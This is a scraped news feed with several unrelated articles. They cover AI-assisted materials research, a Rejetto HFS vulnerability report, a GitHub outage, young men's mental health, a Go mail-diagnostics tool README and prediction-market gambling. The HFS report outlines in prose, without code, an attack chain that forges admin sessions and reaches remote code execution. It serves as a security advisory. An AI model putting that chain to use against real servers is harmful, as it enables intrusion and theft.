AI Skeptics: How Schools Procure AI Tools (with J.B. Branch)

Math Babe
mathbabe.org
2026-10-05 09:11:24
We were joined this week by J.B. Branch, the Director of Federal AI Governance and Technology Policy for Public Citizen’s Congress Watch division: Apple Spotify YouTube...
Original Article

Home > Uncategorized > AI Skeptics: How Schools Procure AI Tools (with J.B. Branch)

We were joined this week by J.B. Branch , the Director of Federal AI Governance and Technology Policy for Public Citizen’s Congress Watch division:

Apple

Spotify

YouTube

Categories: Uncategorized

Comments (0) Trackbacks (0) Leave a comment Trackback

  1. No comments yet.
  1. No trackbacks yet.

Leave a Reply

Your email address will not be published. Required fields are marked *

Opus 5.5 agents discover 2 room-temperature magnetic semiconductor candidates

Hacker News
www.vals.ai
2026-10-05 17:00:21
Comments...
Original Article

We’re all used to two types of magnet. The common one, the fridge magnet, is ferromagnetic — its atomic magnets all point the same way (up or down), adding their magnetic effects. The less well known one, the antiferromagnet (AF), has neighbouring atomic magnets that point opposite ways and exactly cancel out magnetically.

For a long time, there’s been an intense drive in computer memory research to create materials in between these two extremes. For this purpose, it helps to have a clear picture of what these extremes mean.

Today, I’ll share what we found. A team of AI agents and I designed one candidate magnet and found another, first made in 1999, that our calculations predict has the properties we were after.

But before diving into the details, let me first lay out a magnet primer that takes all of 90 seconds, assuming you are not an undergraduate in physics or chemistry.

A 90 second primer in magnets

Spin

Each electron has a quantum mechanical property called ‘spin’, which is responsible for its magnetic moment. We can model the spin direction for each electron as either pointing up or down.

Spintronics

We use spin for storage. A magnetised material stores information based on the spin up/spin down orientation of its electrons, in the same way classical magnets store information based on pointing up/down. The most prominent example of spintronics is the hard drive read head, the device that reads the magnetic bits on the disk. MRAM is another type of spintronics that uses the same principle to store binary information in a non-volatile way.

In the world of spintronics, we want to sort electrons by their spin orientation so we can read/store their information. Ferromagnets do this naturally: the electrons that carry current are mostly of one spin, up or down. Ordinary antiferromagnets, however, cannot distinguish up/down electrons.

This leads us into the next section.

Three kinds of magnets

Ferro

Ferromagnetic materials are characterised by having a macroscopic magnetic field, or a field that leaks out from the surface. This is why a fridge magnet sticks to your refrigerator door.

The problem, however, is that the magnetic field interferes with nearby materials and is difficult to control for storage purposes. In addition, switching magnets back and forth is relatively slow and consumes a lot of power.

Another feature of ferromagnetic materials is that the spins are sorted (by up/down orientation) according to energy level. We can see this when looking at the energy spectrum of the electrons: near the edges of the spectrum, the electrons all have the same spin.

Antiferro

If we take the above and flip the logic, meaning, the spins are unsorted, we end up with an ordinary antiferromagnetic material.

Here the electrons of the same energy level will instead have mixed spins. This leads us to two properties of interest:

  • Because spins are not sorted according to energy level, it is hard to read/store information using spintronics techniques.
  • However, the lack of macroscopic magnetic field allows us to pack these materials closer together, enabling higher performance for storage devices. In terms of speed, AF materials are also about a thousand times faster to switch.

The only problem is, if the spins are mixed at each energy level, how would we ever sort them by energy? How do we get a way to read/store information using spintronics with this lack of sorting?

Luttinger compensated

This brings us to a third type, Luttinger compensated (LC).

LC materials are antiferromagnets where the spin-up atoms and spin-down atoms have the same magnitude of magnetism, making the net spin moment zero (i.e. they cancel out). However, unlike in ordinary antiferromagnets, the up and down atoms sit in inequivalent environments: they can be different elements (e.g. one element points up and another points down), or the same element in two different kinds of site. The name comes from Luttinger’s theorem: in an insulator, the net spin moment of each repeating unit of the crystal must be a whole number, so once it is zero it stays locked at zero. Strictly, that holds for a perfect crystal near absolute zero; smaller effects such as spin–orbit coupling, and heat, can leave a slight imbalance.

Since the up and down atoms are not equivalent, up/down spins can now be separated (sorted) by energy, just like in ferro materials.

Let’s take the previous sections and look at how spin is distributed across the energy landscape for ferro, antiferro and LC magnets.

Three kinds of magnet: a ferromagnet, an antiferromagnet and a Luttinger-compensated magnet, with their net magnetism and how their electron levels are sorted by spin

What matters for storage is the “spin window”: the slice of energy at the edge of the band gap where every available electron state has the same spin. The larger this window compared with the thermal jiggling at room temperature (about 26 meV), the better the electrons stay sorted.

This means we’d love to have a semiconductor with a band gap, without losing the ability to separate spins by their energy levels, and with zero net magnetism.

What a spin window is

This is where our AI agents (and me) enter the scene. Let’s dive into how these agents found two promising materials for next generation computer memory.

The agents ran quantum-mechanical simulations of each crystal with the standard method for this, density functional theory, at two levels of approximation: a faster one (PBE+U) and a slower, usually more accurate one (HSE06). The band gaps and spin windows below come from the more accurate one.

Candidate 1: Designed a Luttinger Compensated Magnet, YBaMnFeO₅

First, let’s see what our AI agents designed:

  • A new compound made of only 5 elements (yttrium, barium, Mn, Fe, O). As far as we could find, it has never been made, nor proposed as this kind of magnet
  • The compound was predicted to be a semiconductor
  • This Luttinger-compensated magnet is predicted to have a 2.35 eV band gap, where spin sorting occurs at both sides of the band gap: a window of 1.0 eV for holes and 1.4 eV for electrons. Note that thermal agitation at room temperature only causes around 26 meV of fluctuation
  • Finally, our agent predicted the material to retain magnetism up to an elevated temperature: about 420 K in the raw simulation, or about 490 K after calibrating the simulation against a known magnet

While this seems like a pretty promising candidate, the design needs the Mn and Fe atoms to sit in a perfect checkerboard. When our agents simulated how the atoms arrange themselves at different temperatures, that checkerboard fell apart into a random mix at around 950 K. Making this kind of oxide takes about 900–1300 °C, and at lower temperatures the atoms barely move, so standard synthesis would likely give a scrambled crystal.

Why the ordered form of YBaMnFeO5 may be hard to reach

A scrambled crystal loses the spin sorting, so this design may be hard to make in its useful form.

Candidate 2: Identified a Luttinger Compensated Magnet in KV[Cr(CN)₆] from 1999

Shortly after, my agent found this interesting material, previously reported only in 1999, that matches many of the requirements above. Its zero net magnetism is not new: the chemists who made it designed the two metals’ magnetism to cancel. Even its spin sorting was already on paper. A 2008 study using hybrid functionals like ours plotted its electron states spin by spin, and both band edges in that plot carry the same spin. But that study was about magnetic coupling under pressure and never remarked on it. As far as we found, nobody had pointed out that this makes KV[Cr(CN)₆] a Luttinger-compensated semiconductor, put numbers on its spin-sorted windows, or tested how robust they are. It had been hiding in plain sight.

KV[Cr(CN)₆] belongs to the same family as Prussian blue, the 300-year-old pigment.

Our agent identified it as a Luttinger-compensated material:

  • It predicts the material will have a band gap of about 2.1 eV, with both band edges sorted into the same spin: windows of 2.6 eV for holes and 1.6 eV for electrons.
  • The 1999 sample stayed magnetically ordered up to 376 K (103 °C), above room temperature, as measured by the chemists who made it (365 K after the sample had been heated).
  • And most importantly, its structure locks each metal into its own site: chromium bonds to the carbon end of each cyanide and vanadium to the nitrogen end, which is exactly what YBaMnFeO₅ lacked.

These predictions are for a perfect, dry crystal. The only sample so far, from 1999, is a powder with water in its pores, and it showed a small leftover magnetic moment (0.125 Bohr magnetons per formula unit, where the perfect crystal would have zero). Our two simulation methods disagree on how much the water weakens the effect: the more accurate one (HSE06) says the spin sorting survives, while the faster one (PBE+U) says the hole window shrinks by more than half. Neither the band gap nor the spin sorting has been measured yet.

The bottom line

We identified a material that combines properties of the two familiar kinds of magnet and could be useful in spintronic devices. We believe the two materials discussed in this article are promising examples of a class of materials that have both antiferromagnetic and ferromagnetic properties.

The key features for both materials: in our calculations for perfect crystals they have zero net spin moment, yet they are semiconductors whose electrons are sorted by spin over windows far larger than the thermal jiggling at room temperature. With little stray magnetic field, they shouldn’t disturb their neighbours much.

Here is the score of our two materials:

  • YBaMnFeO₅: designed candidate; may be hard to make.
  • KV[Cr(CN)₆]: first made in 1999. Near-zero net magnetic moment in the 1999 sample (zero predicted for a perfect crystal), magnetic up to 376 K.

This suggests that materials for the next step in spintronics may already exist, waiting to be recognized. A 2025 study that predicted two other Luttinger-compensated semiconductors found that both lose their magnetic order below room temperature, and named a room-temperature one as the open goal. KV[Cr(CN)₆] has already been made, and its 1999 sample stayed ordered up to 376 K. Identifying room-temperature Luttinger-compensated semiconductors is a step toward practical spin-based technologies, particularly if their magnetic properties can be controlled through chemistry. The next step is to make KV[Cr(CN)₆] again and measure its spin sorting directly.


In the spirit of transparency, I invite the reader to go through all the computations that produced the above predictions, including the calculations behind the candidate designs. The input files, raw outputs and analysis code behind the numbers in this post, along with a one-command checker, independent re-runs and a list of known caveats, have been shared on GitHub in a public repository I created to document my research journey: github.com/spicylemonade/compensated-magnet-ledger .

Desperate to Cling to Power, Zombie Brooklyn Dems Resort to Sham, Late-Night Zoom Election

hellgate
hellgatenyc.com
2026-10-05 16:47:46
“It’s a pretty flagrant move to just say, ‘Fuck this court, fuck these orders.’”...
Original Article

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

Rejetto HFS servers now actively scanned for critical RCE flaw

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 16:20:05
Hackers are actively scanning for a Rejetto HFS weak signing key vulnerability, tracked as CVE-2026-61500, that allows session forgery, account takeover, and remote code execution (RCE). [...]...
Original Article

Hacker

Hackers are actively scanning for a Rejetto HFS weak signing key vulnerability, tracked as CVE-2026-61500, that allows session forgery, account takeover, and remote code execution (RCE).

VulnCheck VP of Security Research Caitlin Condon posted on LinkedIn over the weekend that the company's Canary Intelligence honeypots had observed probes targeting CVE-2026-61500.

Condon said the observed activity appears to be small-scale reconnaissance from a single China Telecom IP address probing deployments in Japan and the United States.

Rejetto HFS (HTTP File Server) is a free and open-source file-sharing server tool used for self-hosted file sharing on Windows, Linux, and macOS.

CVE-2026-61500, first published on July 13, 2026 , is a session-cookie signing weakness and leakage issue fixed in Rejetto HFS  version 3.2.1.

"Rejetto HFS 3.0.0 through 3.2.0 derives its session-cookie signing key from the non-cryptographic Math.random() generator and discloses outputs of the same generator to unauthenticated clients during login," reads the flaw description on the NIST NVD.

"A remote attacker can collect a small number of login responses, reconstruct the generator's state, recover the signing key, and forge a valid administrator session cookie, leading to full administrative access and remote code execution via the server_code configuration feature."

Horizon3 researchers discovered the flaw using Anthropic's Mythos model, which identified both the weak signing-key generation and the leak that enabled key recovery.

Horizon3 published more details about the flaw and a proof-of-concept (PoC) exploit in a write-up on September 30, 2026.

"Mythos didn't just flag the insecure PRNG in isolation – it simultaneously identified that the application leaked raw Math.random() outputs through a separate code path, recognized those two facts as a chain, and determined the leak produced exactly the observations needed to make state recovery feasible," explained Horizon3 .

Recovering the session key
Recovering the session key
Source: Horizon3

The researchers' exploit demonstrates the chain to abuse HFS's built-in ability to execute custom server-side JavaScript to achieve remote code execution.

The release of these technical details may have prompted the probing activity targeting CVE-2026-61500.

Possible attack scenarios include accessing, stealing, or deleting HFS files, installing malware on the server, or using the compromised host to access internal systems.

However, VulnCheck has not shared details on successful exploitation or any post-exploitation activity.

Users of Rejetto HFS are recommended to upgrade to version 3.2.1 or, ideally, the latest stable release, 3.3.4, as soon as possible.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Dostoevsky: Better Space-Time Trade-Offs for LSM-Tree Based Key-Value Stores via Adaptive Removal of Superfluous Merging

Lobsters
nivdayan.github.io
2026-10-05 16:18:23
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://nivdayan.github.io/dostoevsky.pdf.

GitHub Actions Has Problems

Hacker News
www.githubstatus.com
2026-10-05 16:09:12
Comments...
Original Article

Update

Actions is experiencing degraded availability. We are continuing to investigate.

Posted Oct 05 , 2026 - 20:47 UTC

Update

We’re continuing to investigate job failures and delays affecting GitHub-hosted runner assignment and workflow start times. Our teams are actively working to mitigate the impact and will provide another update as we learn more.

Posted Oct 05 , 2026 - 20:39 UTC

Update

We’re still investigating delays in assigning GitHub-hosted runners, affecting workflow start times across multiple runner configurations. Our teams are working to mitigate the impact; we’ll share another update as we learn more.

Posted Oct 05 , 2026 - 19:50 UTC

Update

We’re investigating an issue causing delays when assigning GitHub-hosted runners to Actions jobs. Some workflows may take longer to start across runner configurations. Our teams are working to mitigate the issue, and we’ll provide an update as we learn more.

Posted Oct 05 , 2026 - 19:15 UTC

Investigating

We are investigating reports of degraded performance for Actions

Posted Oct 05 , 2026 - 19:11 UTC

This incident affects: Actions.

The mental health of young men is declining. Experts warn it could get worse

Hacker News
www.cbc.ca
2026-10-05 16:07:25
Comments...
Original Article

Young men are struggling. Can Canada fix the problem?

Canadian men and boys are facing an escalating societal crisis as their rates of depression, anxiety and addiction rise. For The National, CBC's Omar Dabaghi-Pacheco investigates the roots of the struggle and whether a new federal mental health strategy goes far enough.

On the surface, Nick Cholmsky looked like a thriving teenager.

Growing up in Ottawa, he says he was athletic and heavily involved in basketball, had friends and a close relationship with his family.

But underneath all that he says he was deeply depressed. The symptoms began in middle school and became much worse by Grade 11.

At 16, he had begun entertaining suicidal thoughts.

A young man in a red shirt.
Nick Cholmsky, who grew up in Ottawa, experienced depression as a teen. He says online messaging encourages boys and men to stay silent about their psychological struggles. (CBC)

Even as his depression and anxiety grew stronger, Cholmsky believed he couldn’t say anything, because "being a man" meant pushing negative thoughts down, and that any sign of weakness would cause him shame.

"Looking back, so much of that [congenial attitude] was for sure just a performance, me acting the way I thought I was supposed to act as a man," said Cholmsky, now 21.

There’s a common problem everywhere and it’s how men and boys are feeling. And they are not feeling great. - Federal Health Minister Marjorie Michel

Earlier this year, the federal government reported on a wide range of data showing that the mental health of young men has deteriorated since 2012. Between 2012 and 2022, the number of men aged 15 to 24 who self-reported mood disorders increased from 11 per cent to 16 per cent, while self-reported generalized anxiety disorders increased from four per cent to 10 per cent.

Those who reported their mental health as "very good" or "excellent" plummeted from 70 per cent to 52 per cent in that same time period.

A separate report shows that men are three times as likely as women to kill themselves and that it's the second-leading cause of death in boys aged 15 to 34 (after unintentional injuries).

"There’s a common problem everywhere and it’s how men and boys are feeling. And they are not feeling great," federal Health Minister Marjorie Michel told CBC News.

"There is a lot of anxiety [about] their role as men and boys."

Social media use, gambling major issues

Research implicates a variety of factors in men’s depression, most prominently social isolation, social media use and online sports betting.

Data from the Canadian Medical Association Journal shows a huge rise in young men calling helplines with gambling addictions. (Health Canada reports men are three times more likely than women to have a gambling problem.)

Canada legalized single-event sports betting in 2021. In 2022, Ontario became the first province to allow private companies to operate alongside government-regulated industry.

A separate report released this month by the Institute for Clinical Evaluation Sciences (ICES) showed that since 2022, emergency room visits for gambling disorders had doubled — largely with young men showing up in a psychological crisis, such as suicidal ideation or psychosis, as a result of gambling losses.

"The gambling stats didn’t surprise me at all when I heard them," said Cholmsky. "I saw kids in middle school gambling."

WATCH | Investor and podcast Scott Galloway on male potential:

Scott Galloway on male potential

U.S. investor and podcaster Scott Galloway talks to CBC News about the impacts of the manosphere and the loss of 'off-ramps to the middle class,' and how young men are being impacted.

Whether the stress is the result of gambling or something else, Cholmsky says online messaging encourages boys and men to stay silent.

"When I was going through some of my worst mental health times, I was online a lot and it was really the height of Andrew Tate," Cholmsky said.

The U.S.-born Tate is one of the best-known influencers in the manosphere, famous for espousing strict rules for being an alpha male, such as maximizing fitness, maintaining control over relationships and emotions and making as much money as possible.

He retains a large following despite being in U.S. detention on multiple criminal charges, including sex trafficking.

"[Tate's] message, and a lot of that manosphere messaging for boys, is 'be a man, be tough, make lots of money,'" Cholmsky said.

There are also trends like "looksmaxxing." Influencer Braden Peters, also known as Clavicular, has amassed a huge following telling young boys sometimes to smash their own faces with hammers to be more conventionally beautiful. His content has more than 40 million likes. Peters was charged with rape last month.

Experts warn dangerous role models like this can have real-world impacts.

"The manosphere is radicalizing young boys who don’t know where they fit  — and that should concern us all," said John Oliffe, Canada research chair in men’s health promotion at the University of British Columbia.

Oliffe says this was "amplified" by the earliest parts of the COVID-19 pandemic when global lockdowns increased isolation and the loss of social connection. Vulnerable teenagers often found themselves lost online.

"There continues to be a whole world of pain in some of that unregulated content," Oliffe said.

A man with grey hair in a button-down shirt.
John Oliffe, Canada research chair in men’s health promotion at the University of British Columbia, says the radicalizing effects of the manosphere should worry us all. (Nav Rahi/CBC)

Adam Kunder, a 33-year-old former firefighter who lives in Toronto, says he also felt he needed to keep his problems quiet. He suffered mental health issues and hit "rock bottom" before beginning to find help in the summer of 2024.

"As a man, you think you are supposed to be strong, push any bad feelings down, suppress depression or sadness or fear," he said.

Kunder says he has lost multiple friends to suicide and says you never would have known they were suffering.

Gender roles and 'toxic masculinity'

Kunder said the world is changing in ways that are becoming confusing for many men.

The emphasis on women's parity in the labour force and society, as well as a greater acceptance of non-traditional gender identities, has upended expectations.

"At one point we knew we were supposed to be the provider and protector, and the idea of ‘toxic masculinity’ wasn’t a thing," he said. "I think men are really trying to figure out what it means to be a man in today’s world."

WATCH | Why manosphere influencers appeal to young men:

Why ‘manosphere’ influencers are appealing to young men

Critic Amil Niazi joins Commotion with Elamin Abdelmahmoud to discuss Louis Theroux: Inside the Manosphere, a documentary about the online world of toxic masculinity, and examine the rising popularity of "manosphere" influencers among young men.

Oliffe pointed to other troubling patterns for young men.

"There are increasing lower rates of boys heading to universities, and very serious challenges in male-dominated industries such as construction, that as a society, we should not ignore."

Oliffe said that while the trades offer good careers, they often see high rates of substance use and mental health issues, as the necessary physical labour and harsh working environments can "heighten these risks."

Oliffe said that in the last decade, there has been "low government investment in men's mental health."

"I think the theme of silence is a very regrettable period in history, where on one side we talked about equity and inclusion, and then in effect ostracized 50 per cent of the population," Oliffe said.

Health Minister Michel said that when she brought this issue to the federal cabinet, she was met with some resistance. Some colleagues told her it took "courage" to broach the mental health of boys and men, given it could even be politically risky to talk publicly about the issue.

"I said 'courage'? This is not courage. We are ministers of health, it is our job to take care of the entire population," she said.

"Men don't know how to ask for help. And when they are struggling, they don't know how to express it."

Government strategy to come by early 2027

The federal government will soon l aunch its first-ever mental health strategy for boys and men.

The agency told CBC that some of what they hope to invest in will be " mentorship, peer support, sport and recreation," while "promoting healthy relationships, positive social norms and safer online environments."

A young man in a green shirt.
Toronto resident Adam Kunder says he feels it's his duty 'to show up for men who are suffering and to hear them out and just let them know it’s all OK.' (CBC)

For Robert Whitley, a men’s health expert and professor of psychiatry at McGill University in Montreal, part of the problem is the way society now views masculinity.

"Traditional masculinity has been denigrated in the popular mind whether it's through the media, through influencers, through commentators," he said. "The problem sometimes is a lack of masculinity."

He says there's a need for positive male role models.

"I’ve said many times before, it’s not a crisis of masculinity, there’s a crisis of mentorship," said Whitley.

For example, data from Statistics Canada shows only 25 per cent of teachers across elementary and high school systems in Canada are men. And at the organizations that step in to fill the mentorship gap — like the Big Brothers and Big Sisters of Canada — 70 per cent of volunteers are women.

"We're getting young men who are getting to the age of 18, 19, 20, who have never had a male role model in their lives," Whitley said.

Kunder and Cholmsky both say their mental health began to recover after they started asking for help, and they're now working to be role models for other young men.

"I feel like it’s my duty in a way to show up for men who are suffering and to hear them out and just let them know it’s all OK," said Kunder, who coaches and works with other men.

Last month in Ottawa, Cholmsky was awarded top 21 under 21 for his work in mental health advocacy and challenging "harmful stereotypes around masculinity and mental health."

"We all need to be doing our part to talk about this stuff," he said.

Wait, Are Any of These AI Restaurant Reservation Apps Even Legal?

hellgate
hellgatenyc.com
2026-10-05 16:00:00
New York regulated services that use bots to book coveted tables in 2024, we thought....
Original Article

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

Golang tool to check SPF, DKIM, TLSA, and TLS settings for mailservers

Lobsters
git.sig-io.nl
2026-10-05 15:50:52
Yes, I admit, this is 100% vibecoded, but it scratches an itch i've had for a while. Seems to work for my usecases at this time, but might add some more features in the future. Comments...
Original Article

mailcheck is a small command-line SMTP/DNS/TLS diagnostic tool written in Go. It checks whether a domain appears correctly configured to receive SMTP mail and can emit Nagios/Icinga-compatible output.

Checks

  • MX records, sorted by preference
  • implicit-MX fallback to A/AAAA when no MX exists
  • A and AAAA resolution
  • IPv4/IPv6 selection
  • TCP SMTP connectivity
  • SMTP greeting and EHLO
  • STARTTLS support and negotiation
  • optional implicit TLS ( --implicit-tls , useful for port 465)
  • certificate parsing, hostname/PKIX verification, issuer, dates and expiry
  • TLS 1.2/1.3 and modern AEAD cipher classification
  • TLSA lookup and certificate/public-key matching for TLSA usages 0-3
  • DNSSEC indication using the AD bit returned by the selected recursive resolver
  • SPF record discovery and basic syntax/lookup-limit checks
  • DMARC record parsing and policy checks
  • DKIM selector checks, including RSA and Ed25519 public-key validation
  • human, JSON and Nagios/Icinga output

Build

Requires Go 1.23 or newer.

go build -o mailcheck .

For a Linux install:

install -m 0755 mailcheck /usr/local/bin/mailcheck

Examples

./mailcheck example.com
./mailcheck example.com --show-expiry
./mailcheck example.com --ipv4
./mailcheck example.com --ipv6
./mailcheck example.com --host mail.example.net
./mailcheck example.com --host mail.example.net --address 192.0.2.25
./mailcheck example.com --dkim selector1,selector2
./mailcheck example.com --json
./mailcheck example.com --nagios
./mailcheck example.com --port 465 --implicit-tls
./mailcheck example.com --dns 1.1.1.1

When --host is supplied, that hostname is used for TLS SNI/name validation and TLSA lookup. --address controls the TCP destination without changing the TLS hostname. If only --address is supplied, the domain itself is used as the TLS hostname; for accurate SMTP certificate/DANE testing, supplying the actual MX hostname is preferable.

Nagios exit status

0 OK
1 WARNING
2 CRITICAL
3 UNKNOWN

Example:

MAILCHECK WARNING - mx.example.net/192.0.2.25 SMTP=OK TLS=OK TLSA=WARNING | duration_ms=142

DNSSEC / DANE note

The program requests EDNS DNSSEC data and reports DNSSEC as secure when the recursive resolver returns the DNS AD (Authenticated Data) bit. It does not implement a complete DNSSEC validator itself. For production DANE monitoring, point --dns at a validating recursive resolver you trust.

TLSA matching implements the TLSA selector and matching-type operations and checks usages 0-3 against the certificate chain. The result should be read together with the DNSSEC status: a matching TLSA record obtained without DNSSEC validation is not equivalent to authenticated DANE.

SPF / DKIM / DMARC scope

These checks are deliberately DNS-policy diagnostics, not a complete mail-authentication implementation.

SPF checks the record syntax, multiple-record condition, terminal policy, and the ten-DNS-lookup limit at the top level. It does not simulate every possible sender IP through a complete recursive SPF evaluation.

DKIM requires selectors because DNS does not provide a universal way to enumerate all selectors. Example:

./mailcheck example.com --dkim selector1,google

The DKIM check validates the public-key encoding and RSA key size / Ed25519 key length, but it does not verify a signed message.

DMARC validates the record and key policy tags but does not evaluate an actual message's SPF/DKIM alignment.

Security / operational considerations

The SMTP test performs a real TCP connection to the target's port 25 (or the explicitly selected port). It does not send mail or authenticate.

TLS certificate verification is performed separately from the TLS handshake so that a certificate that is not publicly trusted can still be inspected and compared with a DANE TLSA record. This is intentional for SMTP/DANE diagnostics.

The default TLS client minimum is TLS 1.2. A server that only supports TLS 1.0/1.1 will therefore fail the modern TLS check rather than being silently accepted.

Suggested future extensions

  • full recursive SPF evaluator with RFC lookup accounting
  • complete DNSSEC chain validation instead of relying on resolver AD
  • more exact RFC 7672 DANE policy evaluation
  • TLS version capability matrix (separate probes for TLS 1.2 and 1.3 and optional legacy probes)
  • SMTP MTA-STS policy retrieval/validation
  • TLS-RPT record checks
  • CAA checks
  • PTR / forward-confirmed reverse DNS diagnostics
  • SMTP banner hostname diagnostics
  • optional concurrency and retry controls

DKIM input

--dkim accepts either selectors or complete DKIM owner names. For example:

mailcheck --dkim 2025a,2025b maniac.nl
mailcheck --dkim 2025a._domainkey.maniac.nl.,2025b._domainkey.maniac.nl. maniac.nl

A complete owner name is used as-is; it is not prefixed with the domain a second time.

DNS implementation

DNS queries are implemented using the upstream github.com/miekg/dns library (v1.1.70), not a hand-written DNS packet encoder/decoder. It provides native RR parsing, UDP/TCP transport, EDNS0 and DNSSEC-related support.

The tool requests DNSSEC data with the EDNS DO bit and reports the resolver's Authenticated Data (AD) bit separately. An AD=true result means the configured recursive resolver authenticated the response; it does not mean mailcheck itself is acting as a validating recursive resolver.

DKIM selectors

--dkim accepts either selectors:

mailcheck maniac.nl --dkim 2025a,2025b

or complete owner names:

mailcheck maniac.nl --dkim 2025a._domainkey.maniac.nl.,2025b._domainkey.maniac.nl.

The latter are queried exactly as supplied (apart from normalizing the trailing DNS root dot).

Command-line option order

Both forms are accepted:

mailcheck maniac.nl --json --dkim 2025a
mailcheck --json --dkim 2025a maniac.nl

SMTP/TLS diagnostics

The SMTP probe reports the connection as a sequence of stages: TCP, SMTP greeting, EHLO, STARTTLS, and TLS. A failure at an earlier stage no longer incorrectly marks later stages as failures; later stages are reported as UNKNOWN because they could not be tested.

Use --debug to print the SMTP/TLS exchange diagnostics to stderr without putting protocol chatter into JSON or Nagios stdout:

mailcheck --debug --host mail.example.net example.com

For example, a TCP timeout is reported as SMTP=CRITICAL while TLS and TLSA remain UNKNOWN , with the underlying socket error included in the summary.

TLSA is reported separately as:

  • WARNING when TLS succeeds but no TLSA record exists or the TLSA RRset is not DNSSEC-authenticated.
  • CRITICAL when a DNSSEC-backed TLSA RRset exists but does not match the negotiated certificate.
  • UNKNOWN when TLS was not negotiated, because the certificate cannot be matched to TLSA.

This distinction prevents a failed TCP connection from being reported as a TLS certificate failure.

After bankruptcy, he was banned from sports betting sites. Then he found Kalshi

Hacker News
www.npr.org
2026-10-05 15:30:21
Comments...
Original Article
An illustration of a man in silhouette holding a smart phone. He is surrounded by images of Bitcoins, charts, sports and a gavel.

During the pandemic, Thomas thought he would give DraftKings and FanDuel a try. Before long, he formed a habit.

"I could have ten drinks one night and then be fine with not drinking again for a year," said Thomas, 35, who asked to be identified by his middle name fearing his problem gambling history could affect his career. "But sports gambling was different. It really got me."

He never cared much for sports. Yet betting on games seemed like an easy way to make a buck. He started placing wagers on football and tennis mostly using parlays, which are difficult-to-win bets that require multiple things happening in one game in order to land an enticing payout.

Working from his home in Pennsylvania in the financial services industry, Thomas says there were few moments when he didn't have one eye on placing a bet as he juggled work emails and meetings.

When his paycheck arrived, he'd quickly squander it all trying to dig himself out of a gambling hole, only to find himself even deeper in.

This cycle continued for years, with Thomas racking up around $75,000 in debt from credit cards and personal loans. He ended up more than $50,000 in the red from online sportsbooks.

He filed for bankruptcy in late 2023, federal court records show, and he was able to settle with most of his creditors. He banned himself from DraftKings and FanDuel, known as "self exclusion" in industry parlance . It was a new start. He was debt-free and swore off gambling.

"Then one day, about two years later, I'm scrolling on Instagram and I came across an ad for Kalshi," said Thomas. "I was bored and thought this could be fun, and it ended up turning into something that wasn't fun at all."

Thomas saw an ad offering a $20 cash bonus for the first $10 spent on the prediction market app. He said that's all it took to get hooked.

An ad for the prediction market app Kalshi is displayed on a mobile phone Thursday, April 16, 2026, in Chicago.

An ad for the prediction market app Kalshi is displayed on a mobile phone Thursday, April 16, 2026, in Chicago. Erin Hooley/Associated Press hide caption

Erin Hooley/Associated Press

"Betting $10 became a couple hundred, and that became a couple hundred more, then thousands more," Thomas said. "And before long I was more than $25,000 in the red."

Dani Lever, a Kalshi spokeswoman, called Thomas "a cherry-picked case."

She went on: "If you ask our millions of traders, they would emphatically tell you that an exchange model is significantly healthier than a sportsbook model: our profits aren't tied to trader losses, so we don't have the same predatory incentives."

But mental health counselors and experts who study gambling problems say Thomas' story has become increasingly familiar. Kalshi and its main competitor, Polymarket , have launched aggressive nationwide advertising campaigns, including in states where online sports gambling is illegal. And since the sites have not sought approval by states, they do not follow state-mandated protections for people with gambling addictions who are most vulnerable to relapsing.

"I hear from clients all the time who say, 'and now you can bet on anything,'" said Abdullah Mahmood, a problem gambling counselor at Maryhaven, a treatment center in Columbus, Ohio. "Some have also self-excluded from sportsbooks and then fell into prediction markets."

'I have a gambling addiction'

Thomas is now living with his mother, who works as a grocery store cashier, and his grandmother, in his childhood home, a modest three-bedroom house in a working-class Pennsylvania community that has been economically struggling for decades.

Recently, he had to ask both of them for a loan to cover food for the week and a car insurance payment. "It's hard to ask to borrow money because I spent everything I have on Kalshi," he said. "My family kept telling me to stop, but I just couldn't."

His family floating him filled him with so much shame that he wanted to be done with Kalshi.

"I asked a live agent to close my account. I have a gambling addiction and have been self-excluded from regulated gambling platforms for years," Thomas wrote the company in a chat feature of the app, according to a log of the conversation shared with NPR.

An automated response from Kalshi noted that "self-exclusion is a responsible trading safeguard designed to be irreversible." It offered other solutions: "Three different responsible risk-management actions can be taken: trading break, voluntary opt-out, and a personalized funding cap."

Thomas insisted he wanted to be banned from the app. Two days later, he also made three separate requests to Kalshi over email for his account to be permanently closed, correspondence he shared with NPR show.

Kalshi did eventually bar Thomas from betting. But now he is again trying to find his financial footing after frittering away all his savings.

Clinicians who see patients who struggle with gambling say Thomas is a stand-in for a phenomenon that's become the dark side of the rise of prediction markets: the sites can be a magnet for people who are problem gamblers.

"It's extremely concerning," said Jesse Suh, a clinical psychologist in Philadelphia who sees patients with gambling issues. "Most of the patients I see with problem gambling are college aged, and I've heard about them spending their parents' money for the semester on betting apps," he said. "With prediction markets, there are just no obstacles keeping people away from mobile gambling."

The ubiquity of Kalshi's advertising, said Mahmood, the mental health counselor in Ohio, presents constant temptation to problem gamblers.

The company has flooded social media platforms with ads, tapped dozens of influencers to promote its markets and inked deals with celebrities like Timothée Chalamet and Lionel Messi (as part of a larger partnership with the Argentina Football Association) to boost its profile.

It's not uncommon to tune into a professional soccer or baseball game and see Kalshi's branding plastered around the playing field.

A Kalshi sign is displayed at Oracle Park during a baseball game between the San Francisco Giants and the St. Louis Cardinals, Tuesday, Sept. 8, 2026, in San Francisco.

A Kalshi sign is displayed at Oracle Park during a baseball game between the San Francisco Giants and the St. Louis Cardinals, Tuesday, Sept. 8, 2026, in San Francisco. Jeff Chiu/Associated Press hide caption

Jeff Chiu/Associated Press

"We are all so bombarded with these ads, online campaigns and all their offers," Mahmood said. "And the way they position themselves, as trading, not gambling, and as this kind of exotic financial instrument, not entertainment, it all seems geared toward their bottom line and not considering those at risk of relapsing."

